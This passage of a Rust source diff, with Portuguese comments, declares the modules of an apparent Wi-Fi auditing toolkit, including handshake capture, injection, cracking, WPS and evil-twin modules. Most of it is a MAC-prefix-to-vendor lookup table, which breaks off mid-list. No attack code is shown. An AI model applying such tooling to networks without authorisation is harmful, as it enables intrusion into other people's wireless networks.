//! gráfica são só consumidoras disto — a parte complexa (radiotap, 802.11,
|
||||
//! EAPOL, captura e injeção) fica inteira aqui dentro.
|
||||
|
||||
pub mod analysis;
|
||||
pub mod audit;
|
||||
pub mod ccmp;
|
||||
pub mod crack;
|
||||
pub mod doctor;
|
||||
pub mod dot11;
|
||||
pub mod eapol;
|
||||
pub mod engine;
|
||||
pub mod error;
|
||||
pub mod eviltwin;
|
||||
pub mod eviltwin_enterprise;
|
||||
pub mod handshake;
|
||||
pub mod hashcat;
|
||||
pub mod iface;
|
||||
pub mod inject;
|
||||
pub mod netlink;
|
||||
pub mod oui;
|
||||
pub mod pcapreader;
|
||||
pub mod pcapwriter;
|
||||
pub mod radiotap;
|
||||
pub mod report;
|
||||
pub mod rules;
|
||||
pub mod scan;
|
||||
pub mod update;
|
||||
pub mod wps;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
pub mod capture;
|
||||
|
||||
@@ -0,0 +1,919 @@
|
||||
//! Identificação de fabricante pelo prefixo OUI do MAC.
|
||||
|
||||
const OUIS: &[(&str, &str)] = &[
|
||||
("00000c", "Cisco"),
|
||||
("000142", "Cisco"),
|
||||
("000163", "Cisco"),
|
||||
("000164", "Cisco"),
|
||||
("00016c", "Cisco"),
|
||||
("0001c7", "Cisco"),
|
||||
("0001e6", "Cisco"),
|
||||
("000216", "Cisco"),
|
||||
("0002b9", "Cisco"),
|
||||
("0002fc", "Cisco"),
|
||||
("000331", "Cisco"),
|
||||
("00036b", "Cisco"),
|
||||
("0003e3", "Cisco"),
|
||||
("0003fd", "Cisco"),
|
||||
("000427", "Cisco"),
|
||||
("00044d", "Cisco"),
|
||||
("0004c0", "Cisco"),
|
||||
("0004dd", "Cisco"),
|
||||
("000531", "Cisco"),
|
||||
("00055d", "D-Link"),
|
||||
("000569", "VMware"),
|
||||
("0005dc", "Cisco"),
|
||||
("0005dd", "Cisco"),
|
||||
("0006c1", "Cisco"),
|
||||
("0007eb", "Cisco"),
|
||||
("0007ec", "Cisco"),
|
||||
("0009b7", "Cisco"),
|
||||
("000a41", "Cisco"),
|
||||
("000aeb", "TP-Link"),
|
||||
("000b86", "Aruba"),
|
||||
("000c29", "VMware"),
|
||||
("000c42", "MikroTik"),
|
||||
("000c6e", "Asus"),
|
||||
("000d28", "Cisco"),
|
||||
("000d88", "D-Link"),
|
||||
("000e38", "Cisco"),
|
||||
("000ea6", "Asus"),
|
||||
("000f23", "Cisco"),
|
||||
("000f3d", "D-Link"),
|
||||
("000fb5", "Netgear"),
|
||||
("0010a6", "Cisco"),
|
||||
("001120", "Cisco"),
|
||||
("00112f", "Asus"),
|
||||
("001195", "D-Link"),
|
||||
("001217", "Cisco"),
|
||||
("0012fb", "Samsung"),
|
||||
("001346", "D-Link"),
|
||||
("001392", "Ruckus"),
|
||||
("0013d4", "Asus"),
|
||||
("00146c", "Netgear"),
|
||||
("001478", "TP-Link"),
|
||||
("00156d", "Ubiquiti"),
|
||||
("001599", "Samsung"),
|
||||
("0015e9", "D-Link"),
|
||||
("0015f2", "Asus"),
|
||||
("001632", "Samsung"),
|
||||
("00170f", "Cisco"),
|
||||
("001731", "Asus"),
|
||||
("00179a", "D-Link"),
|
||||
("00180a", "Meraki"),
|
||||
("00184d", "Netgear"),
|
||||
("001882", "Huawei"),
|
||||
("0018f3", "Asus"),
|
||||
("00195b", "D-Link"),
|
||||
("001a11", "Google"),
|
||||
("001a1e", "Aruba"),
|
||||
("001a2b", "Cisco"),
|
||||
("001a8a", "Samsung"),
|
||||
("001a92", "Asus"),
|
||||
("001b11", "Cisco"),
|
||||
("001b2f", "Netgear"),
|
||||
("001b63", "Apple"),
|
||||
("001bfc", "Asus"),
|
||||
("001c42", "Parallels"),
|
||||
("001cf0", "D-Link"),
|
||||
("001d0f", "TP-Link"),
|
||||
("001d25", "Samsung"),
|
||||
("001d60", "Asus"),
|
||||
("001e10", "Huawei"),
|
||||
("001e2a", "Netgear"),
|
||||
("001e58", "D-Link"),
|
||||
("001e7d", "Samsung"),
|
||||
("001e8c", "Asus"),
|
||||
("001ec2", "Apple"),
|
||||
("001f6c", "Cisco"),
|
||||
("001fc6", "Asus"),
|
||||
("002119", "Samsung"),
|
||||
("002127", "TP-Link"),
|
||||
("0021e9", "Apple"),
|
||||
("002215", "Asus"),
|
||||
("00223f", "Netgear"),
|
||||
("00227f", "Ruckus"),
|
||||
("002290", "Cisco"),
|
||||
("0022b0", "D-Link"),
|
||||
("002312", "Apple"),
|
||||
("002339", "Samsung"),
|
||||
("002454", "Samsung"),
|
||||
("002486", "Asus"),
|
||||
("0024a3", "Apple"),
|
||||
("0024b2", "Netgear"),
|
||||
("0024dc", "Apple"),
|
||||
("002500", "Apple"),
|
||||
("002586", "TP-Link"),
|
||||
("00259e", "Huawei"),
|
||||
("0025c4", "Ruckus"),
|
||||
("002618", "Asus"),
|
||||
("002637", "Samsung"),
|
||||
("0026bb", "Apple"),
|
||||
("0026f2", "Netgear"),
|
||||
("002719", "TP-Link"),
|
||||
("002722", "Ubiquiti"),
|
||||
("0027a0", "Apple"),
|
||||
("003e51", "Apple"),
|
||||
("003ee1", "Apple"),
|
||||
("004096", "Apple"),
|
||||
("005056", "VMware"),
|
||||
("0050e4", "Apple"),
|
||||
("0055e6", "Apple"),
|
||||
("0056cd", "Apple"),
|
||||
("040cce", "Apple"),
|
||||
("041552", "Apple"),
|
||||
("0452f3", "Apple"),
|
||||
("045e3d", "Apple"),
|
||||
("04a151", "Netgear"),
|
||||
("04bd70", "Huawei"),
|
||||
("04c06f", "TP-Link"),
|
||||
("04d4c4", "Asus"),
|
||||
("04d9f5", "Asus"),
|
||||
("04db56", "Apple"),
|
||||
("04e536", "Apple"),
|
||||
("04f13e", "Apple"),
|
||||
("04f7e4", "Apple"),
|
||||
("04f938", "Huawei"),
|
||||
("080027", "VirtualBox"),
|
||||
("080028", "Apple"),
|
||||
("0836c9", "Netgear"),
|
||||
("08606e", "Asus"),
|
||||
("086266", "Asus"),
|
||||
("086361", "Huawei"),
|
||||
("086d41", "Apple"),
|
||||
("087045", "Apple"),
|
||||
("08863b", "Apple"),
|
||||
("08bd43", "Netgear"),
|
||||
("0c3021", "Apple"),
|
||||
("0c37dc", "Huawei"),
|
||||
("0c3e9f", "Apple"),
|
||||
("0c4de9", "Apple"),
|
||||
("0c74c2", "Apple"),
|
||||
("0c771a", "Apple"),
|
||||
("0c8063", "TP-Link"),
|
||||
("0c9d92", "Asus"),
|
||||
("0cbc9f", "Apple"),
|
||||
("0cbd51", "Ruckus"),
|
||||
("100c6b", "Netgear"),
|
||||
("1027f5", "TP-Link"),
|
||||
("1040f3", "Apple"),
|
||||
("104780", "Huawei"),
|
||||
("10bd18", "Ruckus"),
|
||||
("10bf48", "Asus"),
|
||||
("10da43", "Netgear"),
|
||||
("10feed", "TP-Link"),
|
||||
("14109f", "Apple"),
|
||||
("143004", "Huawei"),
|
||||
("1449e0", "Samsung"),
|
||||
("144d67", "Apple"),
|
||||
("145a05", "Apple"),
|
||||
("14cfe5", "Apple"),
|
||||
("14d64d", "D-Link"),
|
||||
("14dae9", "Asus"),
|
||||
("14dda9", "Asus"),
|
||||
("18a6f7", "TP-Link"),
|
||||
("18af61", "Apple"),
|
||||
("18c58a", "Huawei"),
|
||||
("18fd74", "MikroTik"),
|
||||
("1c151f", "Huawei"),
|
||||
("1c3bf3", "TP-Link"),
|
||||
("1c7ee5", "D-Link"),
|
||||
("1c872c", "Asus"),
|
||||
("1cbdb9", "D-Link"),
|
||||
("1cfa68", "TP-Link"),
|
||||
("200cc8", "Netgear"),
|
||||
("204c03", "Aruba"),
|
||||
("204e7f", "Netgear"),
|
||||
("2078f0", "Apple"),
|
||||
("209bcd", "Apple"),
|
||||
("20c9d0", "Apple"),
|
||||
("20dce6", "TP-Link"),
|
||||
("20e52a", "Netgear"),
|
||||
("20f3a3", "Huawei"),
|
||||
("244bfe", "Asus"),
|
||||
("246968", "TP-Link"),
|
||||
("2469a5", "Huawei"),
|
||||
("24a43c", "Ubiquiti"),
|
||||
("24dec6", "Aruba"),
|
||||
("282cb2", "TP-Link"),
|
||||
("283ce4", "Huawei"),
|
||||
("28c68e", "Netgear"),
|
||||
("28ee52", "TP-Link"),
|
||||
("2c3033", "Netgear"),
|
||||
("2c3afd", "TP-Link"),
|
||||
("2c4d54", "Asus"),
|
||||
("2c55d3", "Huawei"),
|
||||
("2c56dc", "Asus"),
|
||||
("2c59e5", "Aruba"),
|
||||
("2c5d93", "Ruckus"),
|
||||
("2cab00", "D-Link"),
|
||||
("2cb05d", "Netgear"),
|
||||
("2cc81b", "MikroTik"),
|
||||
("301966", "Samsung"),
|
||||
("3035ad", "Apple"),
|
||||
("30469a", "Netgear"),
|
||||
("305a3a", "Asus"),
|
||||
("30636b", "Apple"),
|
||||
("308730", "Huawei"),
|
||||
("3090ab", "Apple"),
|
||||
("30b5c2", "TP-Link"),
|
||||
("340804", "D-Link"),
|
||||
("341298", "Apple"),
|
||||
("3423ba", "Samsung"),
|
||||
("3460f9", "TP-Link"),
|
||||
("3497f6", "Asus"),
|
||||
("34a395", "Apple"),
|
||||
("34e894", "TP-Link"),
|
||||
("38484c", "Apple"),
|
||||
("388345", "TP-Link"),
|
||||
("3894ed", "Netgear"),
|
||||
("38aa3c", "Samsung"),
|
||||
("38b8eb", "Apple"),
|
||||
("38d547", "Asus"),
|
||||
("3c0754", "Apple"),
|
||||
("3c15c2", "Apple"),
|
||||
("3c1e04", "D-Link"),
|
||||
("3c3786", "Netgear"),
|
||||
("3c46d8", "TP-Link"),
|
||||
("3c5a37", "Samsung"),
|
||||
("3c846a", "TP-Link"),
|
||||
("3c970e", "Asus"),
|
||||
("3ca067", "Ruckus"),
|
||||
("3cab8e", "Apple"),
|
||||
("40167e", "Asus"),
|
||||
("40169f", "TP-Link"),
|
||||
("403004", "Apple"),
|
||||
("40331a", "Apple"),
|
||||
("404d8e", "Huawei"),
|
||||
("405d82", "Netgear"),
|
||||
("406c8f", "Apple"),
|
||||
("40984e", "Apple"),
|
||||
("409bcd", "D-Link"),
|
||||
("40a6d9", "Apple"),
|
||||
("40b395", "Apple"),
|
||||
("40e3d6", "Aruba"),
|
||||
("440010", "Apple"),
|
||||
("442a60", "Apple"),
|
||||
("4448b9", "Aruba"),
|
||||
("444c0c", "Apple"),
|
||||
("444e1a", "Samsung"),
|
||||
("446a2e", "Huawei"),
|
||||
("4494fc", "TP-Link"),
|
||||
("44a56e", "Netgear"),
|
||||
("44d884", "Apple"),
|
||||
("44d9e7", "Ubiquiti"),
|
||||
("480eec", "TP-Link"),
|
||||
("48437c", "Apple"),
|
||||
("4846fb", "Huawei"),
|
||||
("485a3d", "Samsung"),
|
||||
("485b39", "Asus"),
|
||||
("485d60", "D-Link"),
|
||||
("4860bc", "Apple"),
|
||||
("48746e", "Apple"),
|
||||
("488f5a", "MikroTik"),
|
||||
("48a195", "Apple"),
|
||||
("48d705", "Apple"),
|
||||
("4c1fcc", "Huawei"),
|
||||
("4c3275", "Apple"),
|
||||
("4c3c16", "Samsung"),
|
||||
("4c3fa7", "Ruckus"),
|
||||
("4c57ca", "Apple"),
|
||||
("4c5e0c", "MikroTik"),
|
||||
("4c60de", "Netgear"),
|
||||
("4c7403", "Apple"),
|
||||
("4c8d79", "Apple"),
|
||||
("4c9eff", "D-Link"),
|
||||
("4ce173", "TP-Link"),
|
||||
("4cedfb", "Asus"),
|
||||
("5001bb", "Samsung"),
|
||||
("503eaa", "TP-Link"),
|
||||
("506a03", "Netgear"),
|
||||
("50c7bf", "TP-Link"),
|
||||
("50ead6", "Apple"),
|
||||
("5404a6", "Asus"),
|
||||
("5425ea", "Huawei"),
|
||||
("542696", "Apple"),
|
||||
("546009", "Google"),
|
||||
("54724f", "Apple"),
|
||||
("5492be", "Samsung"),
|
||||
("54b80a", "D-Link"),
|
||||
("54c80f", "TP-Link"),
|
||||
("581122", "Asus"),
|
||||
("581f28", "Huawei"),
|
||||
("581faa", "Apple"),
|
||||
("583f54", "Samsung"),
|
||||
("5855ca", "Apple"),
|
||||
("586d8f", "Ruckus"),
|
||||
("58b035", "Apple"),
|
||||
("58d9d5", "TP-Link"),
|
||||
("5c0a5b", "Samsung"),
|
||||
("5c3275", "Asus"),
|
||||
("5c4ca9", "Huawei"),
|
||||
("5c5948", "Apple"),
|
||||
("5c628b", "TP-Link"),
|
||||
("5c899a", "TP-Link"),
|
||||
("5c95ae", "Apple"),
|
||||
("5c97f3", "Apple"),
|
||||
("5cd998", "D-Link"),
|
||||
("5cf938", "Apple"),
|
||||
("600308", "Apple"),
|
||||
("6032b1", "TP-Link"),
|
||||
("60334b", "Apple"),
|
||||
("6045cb", "Asus"),
|
||||
("60634c", "D-Link"),
|
||||
("606944", "Apple"),
|
||||
("606bbd", "Samsung"),
|
||||
("608c4a", "Apple"),
|
||||
("609217", "Apple"),
|
||||
("609ac1", "Apple"),
|
||||
("60a4b7", "TP-Link"),
|
||||
("60c547", "Apple"),
|
||||
("60de44", "Huawei"),
|
||||
("60f445", "Apple"),
|
||||
("60facd", "Apple"),
|
||||
("60fb42", "Apple"),
|
||||
("643e8c", "Huawei"),
|
||||
("645601", "TP-Link"),
|
||||
("6466b3", "TP-Link"),
|
||||
("647002", "TP-Link"),
|
||||
("6476ba", "Apple"),
|
||||
("649abe", "Apple"),
|
||||
("64b0a6", "Apple"),
|
||||
("64b853", "Samsung"),
|
||||
("64b9e8", "Apple"),
|
||||
("64d154", "MikroTik"),
|
||||
("680927", "Apple"),
|
||||
("68572d", "TP-Link"),
|
||||
("68644b", "Apple"),
|
||||
("687251", "Ubiquiti"),
|
||||
("68967b", "Apple"),
|
||||
("689c70", "Apple"),
|
||||
("68a0f6", "Huawei"),
|
||||
("68a86d", "Apple"),
|
||||
("68ab1e", "Apple"),
|
||||
("68ae20", "Apple"),
|
||||
("68d93c", "Apple"),
|
||||
("68dbca", "Apple"),
|
||||
("68ebae", "Samsung"),
|
||||
("68fb7e", "Apple"),
|
||||
("6c198f", "D-Link"),
|
||||
("6c19c0", "Apple"),
|
||||
("6c3b6b", "MikroTik"),
|
||||
("6c3e6d", "Apple"),
|
||||
("6c4008", "Apple"),
|
||||
("6c5ab0", "TP-Link"),
|
||||
("6c709f", "Apple"),
|
||||
("6c8dc1", "Apple"),
|
||||
("6c92bf", "Huawei"),
|
||||
("6c94f8", "Apple"),
|
||||
("6caab3", "Ruckus"),
|
||||
("6cab31", "Apple"),
|
||||
("6cb0ce", "Netgear"),
|
||||
("6cc7ec", "Apple"),
|
||||
("6cf373", "Samsung"),
|
||||
("6cf37f", "Aruba"),
|
||||
("701124", "Apple"),
|
||||
("7014a6", "Apple"),
|
||||
("703a0e", "Aruba"),
|
||||
("703eac", "Apple"),
|
||||
("70480f", "Apple"),
|
||||
("704d7b", "Asus"),
|
||||
("704f57", "TP-Link"),
|
||||
("7054f5", "Huawei"),
|
||||
("705681", "Apple"),
|
||||
("7073cb", "Apple"),
|
||||
("7081eb", "Apple"),
|
||||
("70f927", "Samsung"),
|
||||
("741bb2", "Apple"),
|
||||
("744401", "Netgear"),
|
||||
("744d28", "Samsung"),
|
||||
("7483c2", "Ubiquiti"),
|
||||
("74882a", "Huawei"),
|
||||
("748d08", "Apple"),
|
||||
("74911a", "Ruckus"),
|
||||
("74d02b", "Asus"),
|
||||
("74da38", "TP-Link"),
|
||||
("74da88", "TP-Link"),
|
||||
("74e1b6", "Apple"),
|
||||
("74e2f5", "Apple"),
|
||||
("781fdb", "Samsung"),
|
||||
("7824af", "Asus"),
|
||||
("7831c1", "Apple"),
|
||||
("783a84", "Apple"),
|
||||
("784476", "TP-Link"),
|
||||
("784558", "Ubiquiti"),
|
||||
("784f43", "Apple"),
|
||||
("786c1c", "Apple"),
|
||||
("788a20", "Ubiquiti"),
|
||||
("789a18", "MikroTik"),
|
||||
("789f70", "Apple"),
|
||||
("78a3e4", "Apple"),
|
||||
("78ca39", "Apple"),
|
||||
("78d294", "Netgear"),
|
||||
("78d752", "Huawei"),
|
||||
("78d75f", "Apple"),
|
||||
("78fd94", "Apple"),
|
||||
("7c0191", "Apple"),
|
||||
("7c04d0", "Apple"),
|
||||
("7c10c9", "Asus"),
|
||||
("7c11be", "Apple"),
|
||||
("7c6097", "Huawei"),
|
||||
("7c6d62", "Apple"),
|
||||
("7c6df8", "Apple"),
|
||||
("7c8bca", "TP-Link"),
|
||||
("7cc3a1", "Apple"),
|
||||
("7cc537", "Apple"),
|
||||
("7cd1c3", "Apple"),
|
||||
("7cf05f", "Apple"),
|
||||
("7cfadf", "Apple"),
|
||||
("80006e", "Apple"),
|
||||
("801f02", "Asus"),
|
||||
("802aa8", "Ubiquiti"),
|
||||
("803773", "Netgear"),
|
||||
("804971", "Apple"),
|
||||
("805719", "Samsung"),
|
||||
("80929f", "Apple"),
|
||||
("80be05", "Apple"),
|
||||
("80e650", "Apple"),
|
||||
("80ea07", "TP-Link"),
|
||||
("80ea96", "Apple"),
|
||||
("80fb06", "Huawei"),
|
||||
("84119e", "Samsung"),
|
||||
("8416f9", "TP-Link"),
|
||||
("841888", "Ruckus"),
|
||||
("841b5e", "Netgear"),
|
||||
("8425db", "Samsung"),
|
||||
("843835", "Apple"),
|
||||
("843838", "Samsung"),
|
||||
("84788b", "Apple"),
|
||||
("848506", "Apple"),
|
||||
("8489ad", "Apple"),
|
||||
("848e0c", "Apple"),
|
||||
("84a8e4", "Huawei"),
|
||||
("84b153", "Apple"),
|
||||
("84c9b2", "D-Link"),
|
||||
("84d47e", "Aruba"),
|
||||
("84f3eb", "Apple"),
|
||||
("881544", "Meraki"),
|
||||
("881908", "Apple"),
|
||||
("881dfc", "Apple"),
|
||||
("882593", "TP-Link"),
|
||||
("8828b3", "Huawei"),
|
||||
("88366c", "Samsung"),
|
||||
("885395", "Apple"),
|
||||
("8863df", "Apple"),
|
||||
("8866a5", "Apple"),
|
||||
("88c663", "Apple"),
|
||||
("88cb87", "Apple"),
|
||||
("88d7f6", "Asus"),
|
||||
("88e87f", "Apple"),
|
||||
("8c006d", "Apple"),
|
||||
("8c210a", "TP-Link"),
|
||||
("8c2937", "Apple"),
|
||||
("8c2daa", "Apple"),
|
||||
("8c34fd", "Huawei"),
|
||||
("8c5877", "Apple"),
|
||||
("8c7b9d", "Apple"),
|
||||
("8c7c92", "Apple"),
|
||||
("8c8590", "Apple"),
|
||||
("8c89a5", "Asus"),
|
||||
("8c8ef2", "Apple"),
|
||||
("8cbebe", "D-Link"),
|
||||
("8cfaba", "Apple"),
|
||||
("9017ac", "Huawei"),
|
||||
("9027e4", "Apple"),
|
||||
("902b34", "Asus"),
|
||||
("903c92", "Apple"),
|
||||
("904ce5", "Aruba"),
|
||||
("9060f1", "Apple"),
|
||||
("907240", "Apple"),
|
||||
("90840d", "Apple"),
|
||||
("9094e4", "D-Link"),
|
||||
("90b0ed", "Apple"),
|
||||
("90b21f", "Apple"),
|
||||
("90c1c6", "Apple"),
|
||||
("90dd5d", "Apple"),
|
||||
("90f652", "TP-Link"),
|
||||
("90fd61", "Apple"),
|
||||
("9401c2", "Samsung"),
|
||||
("94049c", "Huawei"),
|
||||
("940c6d", "TP-Link"),
|
||||
("949426", "Apple"),
|
||||
("94b34f", "Ruckus"),
|
||||
("94b40f", "Aruba"),
|
||||
("9801a7", "Apple"),
|
||||
("98288e", "Apple"),
|
||||
("9852b1", "Samsung"),
|
||||
("985aeb", "Apple"),
|
||||
("989e63", "Apple"),
|
||||
("98b8e3", "Apple"),
|
||||
("98d6bb", "Apple"),
|
||||
("98dac4", "TP-Link"),
|
||||
("98e0d9", "Apple"),
|
||||
("98e7f5", "Huawei"),
|
||||
("98f0ab", "Apple"),
|
||||
("9c04eb", "Apple"),
|
||||
("9c05d6", "Ubiquiti"),
|
||||
("9c1c12", "Aruba"),
|
||||
("9c207b", "Apple"),
|
||||
("9c28ef", "Huawei"),
|
||||
("9c35eb", "Apple"),
|
||||
("9c3dcf", "Netgear"),
|
||||
("9c4fda", "Apple"),
|
||||
("9c5c8e", "Asus"),
|
||||
("9c84bf", "Apple"),
|
||||
("9ca2f4", "TP-Link"),
|
||||
("9cd643", "D-Link"),
|
||||
("9ce65e", "Apple"),
|
||||
("9cf387", "Apple"),
|
||||
("9cf48e", "Apple"),
|
||||
("9cfc01", "Apple"),
|
||||
("a00460", "Netgear"),
|
||||
("a00bba", "Samsung"),
|
||||
("a01d48", "Aruba"),
|
||||
("a02195", "Samsung"),
|
||||
("a040a0", "TP-Link"),
|
||||
("a04c5b", "Ruckus"),
|
||||
("a08cf8", "Huawei"),
|
||||
("a0999b", "Apple"),
|
||||
("a0ab1b", "D-Link"),
|
||||
("a0d795", "Apple"),
|
||||
("a0edcd", "Apple"),
|
||||
("a0f3c1", "Asus"),
|
||||
("a42b8c", "Netgear"),
|
||||
("a42bb0", "TP-Link"),
|
||||
("a45e60", "Apple"),
|
||||
("a46706", "Apple"),
|
||||
("a483e7", "Apple"),
|
||||
("a49947", "Huawei"),
|
||||
("a4b197", "Apple"),
|
||||
("a4c361", "Apple"),
|
||||
("a4d18c", "Apple"),
|
||||
("a4d1d2", "Apple"),
|
||||
("a4f1e8", "Apple"),
|
||||
("a80600", "Samsung"),
|
||||
("a82066", "Apple"),
|
||||
("a851ab", "Apple"),
|
||||
("a8574e", "TP-Link"),
|
||||
("a85840", "Ruckus"),
|
||||
("a85b78", "Apple"),
|
||||
("a8667f", "Apple"),
|
||||
("a88808", "Apple"),
|
||||
("a88e24", "Apple"),
|
||||
("a8968a", "Apple"),
|
||||
("a8bbcf", "Apple"),
|
||||
("a8bd27", "Aruba"),
|
||||
("a8be27", "Apple"),
|
||||
("a8c885", "Apple"),
|
||||
("a8d0e5", "Apple"),
|
||||
("a8e2c1", "Apple"),
|
||||
("a8f5e1", "Apple"),
|
||||
("ac220b", "Asus"),
|
||||
("ac293a", "Apple"),
|
||||
("ac3613", "Samsung"),
|
||||
("ac3c0b", "Apple"),
|
||||
("ac5a14", "Ruckus"),
|
||||
("ac61ea", "Apple"),
|
||||
("ac84c6", "TP-Link"),
|
||||
("ac87a3", "Apple"),
|
||||
("ac9e17", "Asus"),
|
||||
("acbc32", "Apple"),
|
||||
("accf5c", "Apple"),
|
||||
("acd1b8", "Apple"),
|
||||
("ace215", "Huawei"),
|
||||
("ace4b5", "Apple"),
|
||||
("acf1df", "Apple"),
|
||||
("b03495", "Apple"),
|
||||
("b03956", "Netgear"),
|
||||
("b04e26", "TP-Link"),
|
||||
("b05b67", "Huawei"),
|
||||
("b065bd", "Apple"),
|
||||
("b06ebf", "Asus"),
|
||||
("b0702d", "Apple"),
|
||||
("b072bf", "Samsung"),
|
||||
("b07fb9", "Netgear"),
|
||||
("b09fba", "Apple"),
|
||||
("b0b98a", "Netgear"),
|
||||
("b0be76", "TP-Link"),
|
||||
("b0c554", "D-Link"),
|
||||
("b0ca68", "Apple"),
|
||||
("b0d09c", "Apple"),
|
||||
("b0df3a", "Samsung"),
|
||||
("b41513", "Huawei"),
|
||||
("b418d1", "Apple"),
|
||||
("b43a28", "Samsung"),
|
||||
("b44bd2", "Apple"),
|
||||
("b45d50", "Aruba"),
|
||||
("b4750e", "Netgear"),
|
||||
("b479a7", "Ruckus"),
|
||||
("b48b19", "Apple"),
|
||||
("b49cdf", "Apple"),
|
||||
("b4ae2b", "Asus"),
|
||||
("b4b024", "TP-Link"),
|
||||
("b4f0ab", "Apple"),
|
||||
("b4fbe4", "Ubiquiti"),
|
||||
("b808d7", "Huawei"),
|
||||
("b8098a", "Apple"),
|
||||
("b817c2", "Apple"),
|
||||
("b841a4", "Apple"),
|
||||
("b844d9", "Apple"),
|
||||
("b853ac", "Apple"),
|
||||
("b85d0a", "Apple"),
|
||||
("b85e7b", "Samsung"),
|
||||
("b8634d", "Apple"),
|
||||
("b8782e", "Apple"),
|
||||
("b88d12", "Apple"),
|
||||
("b89f09", "Apple"),
|
||||
("b8a386", "D-Link"),
|
||||
("b8aeed", "Asus"),
|
||||
("b8c111", "Apple"),
|
||||
("b8c75d", "Apple"),
|
||||
("b8e856", "Apple"),
|
||||
("b8f6b1", "Apple"),
|
||||
("b8f883", "TP-Link"),
|
||||
("b8ff61", "Apple"),
|
||||
("bc1485", "Samsung"),
|
||||
("bc20a4", "Samsung"),
|
||||
("bc2228", "D-Link"),
|
||||
("bc25e0", "Huawei"),
|
||||
("bc3baf", "Apple"),
|
||||
("bc4699", "TP-Link"),
|
||||
("bc4cc4", "Apple"),
|
||||
("bc52b7", "Apple"),
|
||||
("bc5436", "Apple"),
|
||||
("bc6778", "Apple"),
|
||||
("bc6c21", "Apple"),
|
||||
("bc8d0f", "Ruckus"),
|
||||
("bc926b", "Apple"),
|
||||
("bc9fe4", "Aruba"),
|
||||
("bc9fef", "Apple"),
|
||||
("bca511", "Netgear"),
|
||||
("bca920", "Apple"),
|
||||
("bcaec5", "Asus"),
|
||||
("bcec5d", "Apple"),
|
||||
("bcee7b", "Asus"),
|
||||
("c025e9", "TP-Link"),
|
||||
("c03f0e", "Netgear"),
|
||||
("c04a00", "TP-Link"),
|
||||
("c06394", "Apple"),
|
||||
("c07009", "Huawei"),
|
||||
("c0847a", "Apple"),
|
||||
("c08ade", "Aruba"),
|
||||
("c09f42", "Apple"),
|
||||
("c0a0bb", "D-Link"),
|
||||
("c0a53e", "Apple"),
|
||||
("c0bdd1", "Samsung"),
|
||||
("c0cecd", "Apple"),
|
||||
("c0d012", "Apple"),
|
||||
("c0f2fb", "Apple"),
|
||||
("c0ffd4", "Netgear"),
|
||||
("c4017c", "Ruckus"),
|
||||
("c40415", "Netgear"),
|
||||
("c40528", "Huawei"),
|
||||
("c42c03", "Apple"),
|
||||
("c43dc7", "Netgear"),
|
||||
("c4576e", "Samsung"),
|
||||
("c46e1f", "TP-Link"),
|
||||
("c47154", "Aruba"),
|
||||
("c4a81d", "D-Link"),
|
||||
("c4b301", "Apple"),
|
||||
("c4e984", "TP-Link"),
|
||||
("c80e14", "TP-Link"),
|
||||
("c819f7", "Samsung"),
|
||||
("c82a14", "Apple"),
|
||||
("c83a35", "Netgear"),
|
||||
("c86000", "Asus"),
|
||||
("c869cd", "Apple"),
|
||||
("c86f1d", "Apple"),
|
||||
("c88550", "Apple"),
|
||||
("c894bb", "Huawei"),
|
||||
("c8b5ad", "Ruckus"),
|
||||
("c8b5b7", "Apple"),
|
||||
("c8bcc8", "Apple"),
|
||||
("c8be19", "D-Link"),
|
||||
("c8d083", "Apple"),
|
||||
("c8e0eb", "Apple"),
|
||||
("c8f650", "Apple"),
|
||||
("cc07ab", "Samsung"),
|
||||
("cc088d", "Apple"),
|
||||
("cc20e8", "Apple"),
|
||||
("cc25ef", "Apple"),
|
||||
("cc29f5", "Apple"),
|
||||
("cc2d1b", "Asus"),
|
||||
("cc2de0", "MikroTik"),
|
||||
("cc32e5", "TP-Link"),
|
||||
("cc3e5f", "Ruckus"),
|
||||
("cc40d0", "Netgear"),
|
||||
("cc4463", "Apple"),
|
||||
("cc53b5", "Huawei"),
|
||||
("cc785f", "Apple"),
|
||||
("ccb255", "D-Link"),
|
||||
("ccc760", "Apple"),
|
||||
("d017c2", "Asus"),
|
||||
("d021f9", "Ubiquiti"),
|
||||
("d022be", "Samsung"),
|
||||
("d023db", "Apple"),
|
||||
("d02598", "Apple"),
|
||||
("d02db3", "Huawei"),
|
||||
("d03311", "Apple"),
|
||||
("d04f7e", "Apple"),
|
||||
("d05afd", "Aruba"),
|
||||
("d0667b", "Samsung"),
|
||||
("d07e28", "TP-Link"),
|
||||
("d0817a", "Apple"),
|
||||
("d0a637", "Apple"),
|
||||
("d0c5f3", "Apple"),
|
||||
("d0d2b0", "Apple"),
|
||||
("d0e140", "Apple"),
|
||||
("d45d64", "Asus"),
|
||||
("d4619d", "Apple"),
|
||||
("d468ba", "Ruckus"),
|
||||
("d46e0e", "TP-Link"),
|
||||
("d46e5c", "Huawei"),
|
||||
("d487d8", "Samsung"),
|
||||
("d49a20", "Apple"),
|
||||
("d4ca6d", "MikroTik"),
|
||||
("d4d2d6", "Apple"),
|
||||
("d4f46f", "Apple"),
|
||||
("d80d17", "TP-Link"),
|
||||
("d81d72", "Apple"),
|
||||
("d83062", "Apple"),
|
||||
("d838fc", "Ruckus"),
|
||||
("d84732", "TP-Link"),
|
||||
("d8490b", "Huawei"),
|
||||
("d850e6", "Asus"),
|
||||
("d857ef", "Samsung"),
|
||||
("d89695", "Apple"),
|
||||
("d89e3f", "Apple"),
|
||||
("d8a25e", "Apple"),
|
||||
("d8bb2c", "Apple"),
|
||||
("d8c7c8", "Aruba"),
|
||||
("d8cf9c", "Apple"),
|
||||
("d8d1cb", "Apple"),
|
||||
("d8fee3", "D-Link"),
|
||||
("dc0c5c", "Apple"),
|
||||
("dc2b2a", "Apple"),
|
||||
("dc2c6e", "MikroTik"),
|
||||
("dc3714", "Apple"),
|
||||
("dc415f", "Apple"),
|
||||
("dc7144", "Samsung"),
|
||||
("dc7412", "Ruckus"),
|
||||
("dc86d8", "Apple"),
|
||||
("dc9b9c", "Apple"),
|
||||
("dc9fdb", "TP-Link"),
|
||||
("dca4ca", "Apple"),
|
||||
("dca904", "Apple"),
|
||||
("dcb808", "Apple"),
|
||||
("dcd2fc", "Huawei"),
|
||||
("dcda4f", "D-Link"),
|
||||
("dcef09", "Netgear"),
|
||||
("e005c5", "TP-Link"),
|
||||
("e0107f", "Ruckus"),
|
||||
("e0247f", "Huawei"),
|
||||
("e03f49", "Asus"),
|
||||
("e0469a", "Netgear"),
|
||||
("e0553d", "Meraki"),
|
||||
("e05f45", "Apple"),
|
||||
("e063da", "Ubiquiti"),
|
||||
("e06678", "Apple"),
|
||||
